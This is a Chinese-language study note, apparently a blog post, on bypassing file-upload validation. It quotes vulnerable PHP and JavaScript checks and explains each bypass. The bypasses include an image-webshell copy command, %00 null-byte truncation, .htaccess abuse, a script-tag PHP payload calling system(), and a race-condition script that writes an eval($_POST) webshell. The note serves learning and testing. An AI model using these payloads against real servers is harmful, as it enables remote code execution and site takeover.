文件上传绕过知识总结一

前言

  重新学习漏洞原理,记录下文件上传的绕过姿势

客户端的检测:

 1 function checkFile() { 2 var file = document.getElementsByName(‘upload_file‘)[0].value; 3 if (file == null || file == "") { 4 alert("请选择要上传的文件!"); 5 return false; 6  } 7 //定义允许上传的文件类型 8 var allow_ext = ".jpg|.png|.gif"; 9 //提取上传文件的类型10 var ext_name = file.substring(file.lastIndexOf("."));11 //判断上传文件类型是否允许上传12 if (allow_ext.indexOf(ext_name) == -1) {13 var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;14  alert(errMsg);15 return false;

  原理:文件上传也面含有专门检测文件上传的js代码,常见的检测文件扩展名是否合法   

  绕过:1、在本地浏览器禁用js

        2、上传合法后缀名文件,然后用burpsuite抓包改包

服务端的检测:

  MIME类型检测:content-type


 1 if (($_FILES[‘upload_file‘][‘type‘] == ‘image/jpeg‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/png‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/gif‘)) { 2 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 3 $img_path = UPLOAD_PATH . ‘/‘ . $_FILES[‘upload_file‘][‘name‘];  4 if (move_uploaded_file($temp_file, $img_path)) { 5 $is_upload = true; 6 } else { 7 $msg = ‘上传出错!‘; 8  } 9 } else {10 $msg = ‘文件类型不正确,请重新上传!‘;11 }

View Code

    绕过:抓包然后修改content-type

    常用的content-type类型

  黑名单检测:


 1 if (file_exists(UPLOAD_PATH)) { 2 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); 3 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 4 $file_name = deldot($file_name);//删除文件名末尾的点 5 $file_ext = strrchr($file_name, ‘.‘); 6 $file_ext = strtolower($file_ext); //转换为小写 7 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 8 $file_ext = trim($file_ext); //收尾去空 9 10 if (!in_array($file_ext, $deny_ext)) {11 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];12 $img_path = UPLOAD_PATH.‘/‘.$file_name;13 if (move_uploaded_file($temp_file, $img_path)) {14 $is_upload = true;15 } else {16 $msg = ‘上传出错!‘;17  }18 } else {19 $msg = ‘此文件不允许上传!‘;20  }21 } else {22 $msg = UPLOAD_PATH . ‘文件夹不存在,请手工创建!‘;23 }

View Code

    常见的黑名单扩展名:

      php|php2|php3|php4|php5|asis|htaccess

      |asp|asa|cer|cdx|aspx|ashx|ascx|asax|htm

      |html|shtml|pwml|phtml|phtm|js|jspvbs|asis

      |sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

    绕过:1、后缀名大小写限制

          2、配合apache解析漏洞,apache在解析文件时,从右往左判断文件名,

           如果后缀名不能解析,则继续往左判断,如aa.php.rar文件

        3、双写后缀名进行绕过,有些检测会将危险后缀名替换为空,如双写pphphp,可以绕过

           4、如果.htaccess没有被禁止上传,可以上传.htaccess来进行绕过,这个文件中可以指定哪些文件可以被php解析

  白名单检测:


 1 if(isset($_POST[‘submit‘])){ 2 $ext_arr = array(‘jpg‘,‘png‘,‘gif‘); 3 $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1); 4 if(in_array($file_ext,$ext_arr)){ 5 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 6 $img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext; 7  8 if(move_uploaded_file($temp_file,$img_path)){ 9 $is_upload = true;10 } else {11 $msg = ‘上传出错!‘;12  }13 } else{14 $msg = "只允许上传.jpg|.png|.gif类型文件!";15  }16 }

View Code

    绕过:1、%00截断,利用条件是php<5.3.4,并且magic_quotes_gpc关闭,上面代码中save_path可控,

           利用%00截断,save_path=upload/1.php%00,然后和合法后缀名进行拼接而

         move_uploaded_file()函数在进行文件转储时,读取到%00时就认为读取结束。

         move_uploaded_file()在进行拼接时,还会忽略文件名后面的/.。也可以用于绕过。

       2、 如果目标存在文件包含漏洞,可以结合上传图片马,然后用文件包含来进行利用

  文件内容绕过:

    上传图片马时,服务端检测图片的文件幻数(文件头),是否为图片,绕过之后上传需要配合文件包含漏洞


 1 function getReailFileType($filename){ 2 $file = fopen($filename, "rb"); 3 $bin = fread($file, 2); //只读2字节 4 fclose($file); 5 $strInfo = @unpack("C2chars", $bin);  6 $typeCode = intval($strInfo[‘chars1‘].$strInfo[‘chars2‘]);  7 $fileType = ‘‘;  8 switch($typeCode){  9 case 255216: 10 $fileType = ‘jpg‘;11 break;12 case 13780: 13 $fileType = ‘png‘;14 break; 15 case 7173: 16 $fileType = ‘gif‘;17 break;18 default: 19 $fileType = ‘unknown‘;20  } 21 return $fileType;22 }

View Code

     绕过:1、制作图片马,cmd命令,copy 1.jpg /b + shell.php /a shell.jpg,制作的图片马包含jpg文件的文件头

        2、直接在shell.php前面加上文件头,

            如:.jpg .jpeg .jpe:JPGGraphic File;

                   .gif :GIF89A

                      .ZIP:Zip Compressed

                 .doc .xls .xlt .ppt .apr:MS Comepound Document v1 or Lotus Approach APRfile

     直接上传shell.php时,可能会检测文件中的敏感字符,并将其代替掉,下面代码中会将?代替为空


 1 <?php 2 $path = "./uploads"; 3 $content = file_get_contents($_FILES[‘myfile‘][‘tmp_name‘]); 4 $content = str_replace(‘?‘, ‘!‘, $content); 5 $file = $path . ‘/‘ . $_FILES[‘myfile‘][‘name‘]; 6  7 if (move_uploaded_file($_FILES[‘myfile‘][‘tmp_name‘], $file)) { 8 file_put_contents($file, $content); 9 echo ‘Success!<br>‘;10 } else {11 echo ‘Error!<br>‘;12 }13 ?>

View Code

      绕过:判断哪些字符没有被限制,然后突破限制,如过滤了问号可以用,<script language=‘php‘>system(‘ls‘);</script>

  竞争上传绕过:

     如果后台代码逻辑是先保存文件,然后检测文件内容。


1 <?php 2 fputs(fopen("shell.php","w"),"<?php eval(\$_POST[‘XXXSER‘]);?>")3 ?>

View Code

      绕过:我们可以写一个生成木马的木马,然后上传时用burpsuite不断请求。

所写内容是在网上总结所得,如有问题,请大佬指正

参考链接:https://xz.aliyun.com/t/6047

 

相关文章